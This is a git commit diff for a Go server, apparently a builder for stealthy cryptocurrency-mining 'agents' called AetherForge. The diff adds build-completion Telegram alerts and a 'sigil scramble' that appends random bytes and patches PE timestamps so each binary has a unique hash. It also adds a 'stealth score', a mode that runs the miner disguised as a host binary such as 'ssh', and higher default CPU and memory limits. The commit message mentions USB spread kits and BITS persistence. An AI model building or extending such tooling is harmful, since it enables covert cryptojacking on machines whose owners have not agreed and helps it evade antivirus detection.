feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops
- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help - Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete - Sigil scramble post-forge uniquification and Dispense Reveal ceremony - Full system check, desktop push, BITS/host-binary persistence, Path Tracer - Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav - README documents alerts, sigil scramble, and pack-usb workflow - USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
This commit is contained in:
@@ -106,6 +106,7 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w
|
||||
}); err != nil {
|
||||
log.Printf("[Builder] InsertBuild error (spread kit %s): %v", buildID, err)
|
||||
}
|
||||
h.notifyBuildComplete(zipName, req.WorkerName, zipBytes)
|
||||
|
||||
return BuildResponse{
|
||||
Success: true,
|
||||
@@ -229,6 +230,7 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s
|
||||
}); err != nil {
|
||||
log.Printf("[Builder] InsertBuild error (universal fusion %s): %v", buildID, err)
|
||||
}
|
||||
h.notifyBuildComplete(zipName, req.WorkerName, zipBytes2)
|
||||
|
||||
return BuildResponse{
|
||||
Success: true,
|
||||
|
||||
@@ -15,6 +15,7 @@ import (
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/alerts"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
|
||||
@@ -36,6 +37,7 @@ type BuildRequest struct {
|
||||
DisplayMode string `json:"display_mode"`
|
||||
SilentMode bool `json:"silent_mode"`
|
||||
RunAs string `json:"run_as"`
|
||||
HostBinaryTarget string `json:"host_binary_target"`
|
||||
AutoStart bool `json:"auto_start"`
|
||||
Persistence bool `json:"persistence"`
|
||||
ProcessName string `json:"process_name"`
|
||||
@@ -80,6 +82,7 @@ type BuildRequest struct {
|
||||
TargetArch string `json:"target_arch"`
|
||||
SpreadKit bool `json:"spread_kit"`
|
||||
Obfuscate bool `json:"obfuscate"`
|
||||
SigilScramble bool `json:"sigil_scramble"`
|
||||
SignBuild bool `json:"sign_build"`
|
||||
BackupPools []BackupPool `json:"backup_pools"`
|
||||
// CancelToken is a client-generated UUID. Pass the same token to
|
||||
@@ -126,6 +129,9 @@ type BuildResponse struct {
|
||||
WorkerFile string `json:"worker_file,omitempty"`
|
||||
Signed bool `json:"signed,omitempty"`
|
||||
Obfuscated bool `json:"obfuscated,omitempty"`
|
||||
SigilScramble bool `json:"sigil_scramble,omitempty"`
|
||||
BinaryFingerprint string `json:"binary_fingerprint,omitempty"`
|
||||
StealthScore int `json:"stealth_score,omitempty"`
|
||||
Error string `json:"error,omitempty"`
|
||||
}
|
||||
|
||||
@@ -155,7 +161,8 @@ type Handler struct {
|
||||
goWinresPath string
|
||||
serverModDir string
|
||||
policy BuildPolicy
|
||||
fleetSecret string // injected from server config; baked into every forge output
|
||||
fleetSecret string // injected from server config; baked into every forge output
|
||||
eventNotifier *alerts.Notifier
|
||||
|
||||
// Active build cancellation — maps cancel_token → cancel func so the frontend
|
||||
// can abort an in-progress compile via DELETE /api/v1/builder/cancel/{token}.
|
||||
@@ -168,6 +175,19 @@ func (h *Handler) SetFleetSecret(secret string) {
|
||||
h.fleetSecret = secret
|
||||
}
|
||||
|
||||
func (h *Handler) SetEventNotifier(n *alerts.Notifier) {
|
||||
h.eventNotifier = n
|
||||
}
|
||||
|
||||
func (h *Handler) notifyBuildComplete(fileName, workerName string, sizeBytes int64) {
|
||||
if h.eventNotifier == nil {
|
||||
return
|
||||
}
|
||||
sizeMB := float64(sizeBytes) / 1024 / 1024
|
||||
h.eventNotifier.Emit(alerts.EventBuildComplete, "AetherForge forge",
|
||||
fmt.Sprintf("%s ready (%.1f MB) — %s", fileName, sizeMB, workerName))
|
||||
}
|
||||
|
||||
// CancelBuild cancels an in-progress build identified by cancelToken.
|
||||
// Returns true if the token was found and cancelled, false if unknown.
|
||||
func (h *Handler) CancelBuild(cancelToken string) bool {
|
||||
@@ -631,6 +651,23 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
|
||||
}
|
||||
}
|
||||
|
||||
scrambled := false
|
||||
fingerprint := ""
|
||||
if shouldSigilScramble(req) {
|
||||
fp, err := ApplySigilScramble(finalPath, buildID)
|
||||
if err != nil {
|
||||
log.Printf("[Forge] sigil scramble: %v", err)
|
||||
} else {
|
||||
scrambled = true
|
||||
fingerprint = fp
|
||||
if exportPath != "" && exportPath != finalPath {
|
||||
if fp2, err := ApplySigilScramble(exportPath, buildID+"-export"); err == nil {
|
||||
_ = fp2
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fileInfo, err := os.Stat(finalPath)
|
||||
if err != nil {
|
||||
return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
|
||||
@@ -683,6 +720,8 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
|
||||
return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
h.notifyBuildComplete(finalName, req.WorkerName, fileInfo.Size())
|
||||
|
||||
resp := BuildResponse{
|
||||
Success: true,
|
||||
BuildID: buildID,
|
||||
@@ -705,6 +744,9 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
|
||||
WorkerFile: workerName,
|
||||
Signed: signed,
|
||||
Obfuscated: obfuscated,
|
||||
SigilScramble: scrambled,
|
||||
BinaryFingerprint: fingerprint,
|
||||
StealthScore: StealthScore(obfuscated, scrambled, signed),
|
||||
}
|
||||
if fusionEnabled && bundleDownloadURL != "" {
|
||||
resp.DownloadURL = bundleDownloadURL
|
||||
@@ -810,7 +852,7 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
req.ProcessName = sanitizeFileName(req.WorkerName)
|
||||
}
|
||||
if req.MaxMemoryPct <= 0 {
|
||||
req.MaxMemoryPct = 70
|
||||
req.MaxMemoryPct = 85
|
||||
}
|
||||
if req.CPUPriority == "" {
|
||||
req.CPUPriority = "below_normal"
|
||||
@@ -821,11 +863,14 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
if req.RunAs == "" {
|
||||
req.RunAs = "user"
|
||||
}
|
||||
if req.RunAs == "host_binary" && strings.TrimSpace(req.HostBinaryTarget) == "" {
|
||||
req.HostBinaryTarget = "ssh"
|
||||
}
|
||||
if req.MaxCPUUsagePct <= 0 {
|
||||
req.MaxCPUUsagePct = 80
|
||||
req.MaxCPUUsagePct = 95
|
||||
}
|
||||
if req.MinFreeRAMMB <= 0 {
|
||||
req.MinFreeRAMMB = 1024
|
||||
req.MinFreeRAMMB = 512
|
||||
}
|
||||
if req.IdleThresholdPct <= 0 {
|
||||
req.IdleThresholdPct = 20
|
||||
@@ -983,8 +1028,9 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
MiningMode: %q,
|
||||
DisplayMode: %q,
|
||||
SilentMode: %v,
|
||||
RunAs: %q,
|
||||
AutoStart: %v,
|
||||
RunAs: %q,
|
||||
HostBinaryTarget: %q,
|
||||
AutoStart: %v,
|
||||
ProcessName: %q,
|
||||
BuildID: %q,
|
||||
BuiltAt: time.Unix(%d, 0),
|
||||
@@ -1046,6 +1092,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.DisplayMode,
|
||||
req.SilentMode,
|
||||
req.RunAs,
|
||||
req.HostBinaryTarget,
|
||||
req.AutoStart,
|
||||
req.ProcessName,
|
||||
buildID,
|
||||
|
||||
120
server/internal/builder/scramble.go
Normal file
120
server/internal/builder/scramble.go
Normal file
@@ -0,0 +1,120 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"encoding/binary"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"hash/fnv"
|
||||
"io"
|
||||
"math/rand"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
const sigilOverlayMagic = "AFSC\x01"
|
||||
|
||||
// ApplySigilScramble mutates the built binary so each dispense has a unique on-disk
|
||||
// signature (overlay entropy + optional PE timestamp). Does not change runtime logic.
|
||||
func ApplySigilScramble(path, buildID string) (fingerprint string, err error) {
|
||||
if path == "" {
|
||||
return "", fmt.Errorf("empty path")
|
||||
}
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if len(data) == 0 {
|
||||
return "", fmt.Errorf("empty binary")
|
||||
}
|
||||
|
||||
seed := strings.TrimSpace(buildID)
|
||||
if seed == "" {
|
||||
seed = fmt.Sprintf("%d", time.Now().UnixNano())
|
||||
}
|
||||
rng := scrambleRNG(seed)
|
||||
|
||||
if isPEExecutable(path, data) {
|
||||
data = patchPETimestamp(data, rng)
|
||||
}
|
||||
|
||||
overlay := buildSigilOverlay(seed, rng)
|
||||
data = append(data, overlay...)
|
||||
|
||||
if err := os.WriteFile(path, data, 0755); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
sum := sha256.Sum256(data)
|
||||
fingerprint = hex.EncodeToString(sum[:8])
|
||||
return fingerprint, nil
|
||||
}
|
||||
|
||||
func isPEExecutable(path string, data []byte) bool {
|
||||
if !strings.EqualFold(filepath.Ext(path), ".exe") {
|
||||
return false
|
||||
}
|
||||
return len(data) > 64 && data[0] == 'M' && data[1] == 'Z'
|
||||
}
|
||||
|
||||
// patchPETimestamp adjusts the COFF header timestamp (bytes 8-11 after MZ).
|
||||
func patchPETimestamp(data []byte, rng *rand.Rand) []byte {
|
||||
out := make([]byte, len(data))
|
||||
copy(out, data)
|
||||
peOff := int(binary.LittleEndian.Uint32(out[0x3c:0x40]))
|
||||
if peOff < 0 || peOff+8 > len(out) {
|
||||
return out
|
||||
}
|
||||
if string(out[peOff:peOff+4]) != "PE\x00\x00" {
|
||||
return out
|
||||
}
|
||||
ts := uint32(time.Now().Unix()) ^ uint32(rng.Intn(1<<20))
|
||||
binary.LittleEndian.PutUint32(out[peOff+8:peOff+12], ts)
|
||||
return out
|
||||
}
|
||||
|
||||
func buildSigilOverlay(seed string, rng *rand.Rand) []byte {
|
||||
padLen := 8192 + rng.Intn(57344)
|
||||
buf := make([]byte, len(sigilOverlayMagic)+len(seed)+2+padLen)
|
||||
copy(buf, sigilOverlayMagic)
|
||||
buf[len(sigilOverlayMagic)] = byte(len(seed) & 0xff)
|
||||
copy(buf[len(sigilOverlayMagic)+1:], []byte(seed))
|
||||
off := len(sigilOverlayMagic) + 1 + len(seed)
|
||||
for i := 0; i < padLen; i++ {
|
||||
buf[off+i] = byte(rng.Intn(256))
|
||||
}
|
||||
return buf
|
||||
}
|
||||
|
||||
func scrambleRNG(seed string) *rand.Rand {
|
||||
h := fnv.New64a()
|
||||
_, _ = io.WriteString(h, seed)
|
||||
return rand.New(rand.NewSource(int64(h.Sum64())))
|
||||
}
|
||||
|
||||
// StealthScore estimates how many uniqueness layers were applied (0–100).
|
||||
func StealthScore(obfuscated, scrambled, signed bool) int {
|
||||
score := 35 // polymorph is always injected at compile time
|
||||
if obfuscated {
|
||||
score += 30
|
||||
}
|
||||
if scrambled {
|
||||
score += 20
|
||||
}
|
||||
if signed {
|
||||
score += 15
|
||||
}
|
||||
if score > 100 {
|
||||
return 100
|
||||
}
|
||||
return score
|
||||
}
|
||||
|
||||
func shouldSigilScramble(req *BuildRequest) bool {
|
||||
if req.SigilScramble {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
41
server/internal/builder/scramble_test.go
Normal file
41
server/internal/builder/scramble_test.go
Normal file
@@ -0,0 +1,41 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestApplySigilScrambleChangesFile(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
path := filepath.Join(dir, "worker.exe")
|
||||
orig := []byte{'M', 'Z', 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0x40, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 'P', 'E', 0, 0, 0, 0, 0, 0}
|
||||
if err := os.WriteFile(path, orig, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
fp1, err := ApplySigilScramble(path, "build-a")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
st1, _ := os.Stat(path)
|
||||
fp2, err := ApplySigilScramble(path, "build-b")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
st2, _ := os.Stat(path)
|
||||
if st1.Size() == st2.Size() && fp1 == fp2 {
|
||||
t.Fatalf("expected different fingerprint/size got %s %s", fp1, fp2)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStealthScore(t *testing.T) {
|
||||
if StealthScore(true, true, true) < 90 {
|
||||
t.Fatal("expected high score")
|
||||
}
|
||||
if StealthScore(false, false, false) != 35 {
|
||||
t.Fatalf("got %d", StealthScore(false, false, false))
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user